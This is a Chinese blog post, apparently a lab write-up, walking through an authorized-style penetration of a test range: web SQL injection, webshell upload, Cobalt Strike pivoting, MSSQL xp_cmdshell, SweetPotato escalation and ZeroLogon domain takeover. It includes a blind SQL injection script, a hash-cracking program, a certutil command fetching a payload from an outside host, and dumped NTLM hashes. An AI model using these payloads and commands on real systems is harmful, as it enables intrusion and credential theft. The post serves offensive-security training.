前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >域渗透之外网打点到三层内网

域渗透之外网打点到三层内网

原创
作者头像
亿人安全
发布2022-06-13 23:52:47
4.4K0
发布2022-06-13 23:52:47
举报
文章被收录于专栏:红蓝对抗

环境搭建

1.项目介绍:

本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。

2.VPS映射

1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini

图片
图片

在web1上配置frpc.ini 运行 frpc.exe -c frp.ini

图片
图片

成功访问到环境

http://x.x.x.x:8088/login.jsp

图片
图片

信息收集

1.端口探测

图片
图片

使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。

图片
图片

然后查看其详细信息。

图片
图片

2.网站源代码查找

发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。

图片
图片

然后就在github试试运气,发现了源码。

图片
图片

源码地址:

https://github.com/amateur-RD/netBank-System

发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。

3.SQL注入

然后进行登录测试,发现存在sql注入漏洞

图片
图片

网上银行系统Hsql注入漏洞

图片
图片

使用sqlmap不能进行跑出用户名和密码。

图片
图片

4.编写脚本进行sql注入

代码语言:javascript
复制
#coding:utf-8import requestspassword=""url="http://x.x.x.x:8878/admin/login"payload="0123456789abcdefghijklmnopqrstuvwxyz"password=""for i in range(1,20): for j in payload:   exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'or '1'='" %(i,j)   print("正在注入")   data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}   req = requests.post(url=url, data=data);   if "密码不正确" in req.text:     password+=j     breakprint(password)

成功跑出密码。然后进行登录。

登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。

图片
图片

5.tomexam SQL注入漏洞

在另一个地址处,发现可以注册用户。然后注册用户进行登录。

图片
图片

登录之后发现,某处存在sql注入。

图片
图片
图片
图片

使用sqlmap进行获取用户信息。

图片
图片
代码语言:javascript
复制
| 1  | 1      | 1399999999 | 1      | 超级管理员 | admin    | admin    | 17D03DA6474CE8BEB13B01E79F789E63       | 2022-04-09 00:14:08 | 301        || 6  | 2      |     | 1      |     | eu3      | eu3      | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14

成功抓到了管理员用户和密码,然后使用md5进行解密。

图片
图片

成功进行登录。登录之后没有找到可getshell的地方。

图片
图片

6.Jspxcms-SQL注入

首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。

图片
图片

发现先知的大佬做过找个版本的代码审计。参考链接:https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。

图片
图片

在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。

图片
图片

使用sqlmap进行查找表、用户和吗密码。

成功发现了用户名和加密的密码。密码推断是明文密码+salt然后再进行md5加密。

图片
图片

7.编写解密脚本

通过其源码,分析其加密方式,然后编写解密脚本。

代码语言:javascript
复制
package com.jspxcms.core;import com.jspxcms.common.security.SHA1CredentialsDigest;import com.jspxcms.common.util.Encodes;import java.io.File;import java.io.FileReader;import java.io.FileWriter;import java.io.PrintWriter;import java.util.Scanner;public class Testmain {  public static void main(String[] args)throws Exception {    byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");    SHA1CredentialsDigest test = new SHA1CredentialsDigest();    String fileName = "D:\\csdnpass.txt";    String fileName2 = "D:\\hashpassword2.txt";    try (Scanner sc = new Scanner(new FileReader(fileName))) {      while (sc.hasNextLine()) {        String line = sc.nextLine();        String encPass = test.digest(line, salt);        File f = new File(fileName2);        FileWriter fw = new FileWriter(f, true);        PrintWriter pw = new PrintWriter(fw);        pw.println(line + " " + encPass);        pw.close();     }   } }}
图片
图片

8.登录jspxcms后台getshell

使用管理员用户和解密出来的密码,成功进入管理员后台。

图片
图片

8.使用哥斯拉生成一个木马,然后使用jar,打包成为war包。

9.编写目录穿越脚本

根据先知社区的大佬提出的方法,编写目录穿越脚本。

图片
图片

成功进行上传。

图片
图片

10.获取webshell

使用哥斯拉连接webshell,成功执行命令。

图片
图片

内网渗透:

1.frp反向代理上线CS

首先配置内网cobalt strike内网上线

图片
图片

在kali启动cs服务端,

查看其端口

图片
图片

配置frp的frps.ini信息。

图片
图片

2.CS上线

cs生成监听。

图片
图片

然后上传.exe文件进行上线。

图片
图片

成功上线。

图片
图片

3.内网信息收集

使用shell iponfig 收集信息。

图片
图片

根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。

图片
图片

查看计算机名。

图片
图片

使用net view 查找域内其它主机,发现不能找到其他主机。

图片
图片

4.开启代理进行端口扫描

图片
图片

查看server2012的IP地址。

图片
图片

5.域内主机端口扫描

图片
图片

发现存在1433——Mysql的端口,尝试进行弱口令的暴力破解。

最好成功爆破出账号和密码.

图片
图片

6.mssqlclient 登录Mssql服务器

使用mysql用户和密码进行登录。

图片
图片

7.xp_cmshell进行getshell

help查看可以执行那些命令。

图片
图片

开启xp_cmdshell,然后进行信息收集。

图片
图片

使用certutil远程下载之前的木马,然后进行上线

代码语言:javascript
复制
xp_cmdshell certutil -urlcache -split -f http://x.x.x.x/artifact.exe c:/windows/temp/artifact.exe
图片
图片

8.使用SweetPotato (ms16-075)提权

上线之后,进行简单的信息收集。

图片
图片

然后使用第三方插件,利用SweetPotato (ms16-075)提权对其进行提权。

图片
图片

成功提权。

图片
图片

内网域渗透

1.内网域信息收集

使用net view查看域内主机。

图片
图片

使用hashdump进行抓取一些用户的hash值。

图片
图片

查看主机ip地址。

图片
图片

查看域控的Ip地址,和域控的计算机名。

图片
图片
图片
图片

2.ZeroLogon CVE-2020-1472 获取域控权限

编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。

图片
图片

将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0

图片
图片

3.配置代理,登录域控

配置kali的代理地址,然后进行端口扫描,测试代理是否连接。

图片
图片

获取域控的hash值。

图片
图片
代码语言:javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::

然后进行登录域控。

图片
图片

4.PTH上线CS

关闭防火墙,利用pth进行上线cs。

图片
图片

成功执行命令。

图片
图片

生成tcp监听,然后jump到域控主机。

图片
图片

5.恢复密码、原hash。

恢复密码。

图片
图片

使用 secretsdump.py获取其hash值。

代码语言:javascript
复制
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCA
图片
图片

使用以下命令恢复域控密码。成功恢复其密码。

代码语言:javascript
复制
proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f
图片
图片

靶机到这里就结束了。

图片
图片

最后,成功拿下整个域控。

图片
图片

总结:

该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xp_cmdshell进行getshell。在域渗透中使用CVE-2020-1472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
    • 1.项目介绍:
      • 2.VPS映射
      • 信息收集
        • 1.端口探测
          • 2.网站源代码查找
            • 3.SQL注入
              • 4.编写脚本进行sql注入
                • 5.tomexam SQL注入漏洞
                  • 6.Jspxcms-SQL注入
                    • 7.编写解密脚本
                      • 8.登录jspxcms后台getshell
                        • 9.编写目录穿越脚本
                          • 10.获取webshell
                          • 内网渗透:
                            • 1.frp反向代理上线CS
                              • 2.CS上线
                                • 3.内网信息收集
                                  • 4.开启代理进行端口扫描
                                    • 5.域内主机端口扫描
                                      • 6.mssqlclient 登录Mssql服务器
                                        • 7.xp_cmshell进行getshell
                                          • 8.使用SweetPotato (ms16-075)提权
                                          • 内网域渗透
                                            • 1.内网域信息收集
                                              • 2.ZeroLogon CVE-2020-1472 获取域控权限
                                                • 3.配置代理,登录域控
                                                  • 4.PTH上线CS
                                                    • 5.恢复密码、原hash。
                                                    • 总结:
                                                    相关产品与服务
                                                    Elasticsearch Service
                                                    腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
                                                    领券
                                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档